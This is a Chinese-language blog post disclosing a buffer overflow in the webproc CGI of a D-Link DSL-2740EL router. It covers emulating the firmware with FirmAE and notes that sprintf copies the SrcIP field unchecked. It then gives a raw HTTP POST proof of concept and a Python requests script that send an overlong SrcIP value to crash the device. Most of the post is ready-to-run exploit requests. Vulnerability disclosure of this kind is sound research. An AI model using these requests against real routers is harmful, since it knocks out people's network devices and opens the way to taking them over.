模拟
使用FirmAE一键模拟
./init.sh
sudo ./run.sh -r dlink DSL.img
然后通过nb转发到宿主机
./nb -tran 7070 192.168.1.1:80
漏洞点
sprintf函数没有任何检测直接拼接ip,并且只检测了一个ip格式是否正确,所以只需要合理构造rop链即可攻击成功。
poc
POST /cgi-bin/webproc HTTP/1.1
Host: 192.168.18.145:7070
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 288
Origin: http://192.168.18.145:7070
Connection: close
Referer: http://192.168.18.145:7070/cgi-bin/webproc
Cookie: sessionid=6bfdb7ec; sessionid=6bfdb7ec; language=zh_cn; sys_UserName=admin
Upgrade-Insecure-Requests: 1
Priority: u=1
add-obj=InternetGatewayDevice.X_TWSZ-COM_IP_ACL.ACL.&%3ASrcIP=192.168.14.24+11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&obj-action=add-set&getpage=html%2Findex.html&errorpage=html%2Findex.html&var%3Amenu=maintenance&var%3Apage=ipaddrs&var%3Aerrorpage=ipaddrs&var%3ACacheLastData=QUNMRW5hYmxlZD1mYWxzZXxTcmNJUD0xOTIuMTY4LjE0LjI0JTIw
脚本
import requests
url = "http://192.168.1.1/cgi-bin/webproc"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": "http://192.168.1.1",
"Connection": "keep-alive",
"Referer": "http://192.168.1.1/cgi-bin/webproc?getpage=html/index.html&errorpage=html/index.html&var:language=zh_cn&var:menu=maintenance&var:page=ipaddrs&var:errorpage=ipaddrs&var:newobjindex=1",
"Cookie": "sessionid=6ec7f79a; sessionid=6ec7f79a; TBSPASSWORD=admin; language=zh_cn; sys_UserName=admin",
"Upgrade-Insecure-Requests": "1",
"Priority": "u=1"
}
data = (
"add-obj=InternetGatewayDevice.X_TWSZ-COM_IP_ACL.ACL.&%3ASrcIP="
"192.168.49.65+111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&obj-action=add-set&getpage=html%2Findex.html&errorpage=html%2Findex.html&var%3Amenu=maintenance&var%3Apage=ipaddrs&var%3Aerrorpage=ipaddrs&var%3ACacheLastData=QUNMRW5hYmxlZD1mYWxzZXxFbmFibGVfMD1mYWxzZXxTcmNJUD0xOTIuMTY4LjQ5LjY1JTIw"
)
response = requests.post(url, headers=headers, data=data)
标签:2740EL,ipaddrs,192.168,var%,application,DSL,html,Link,zh
From: https://www.cnblogs.com/blonet/p/18322822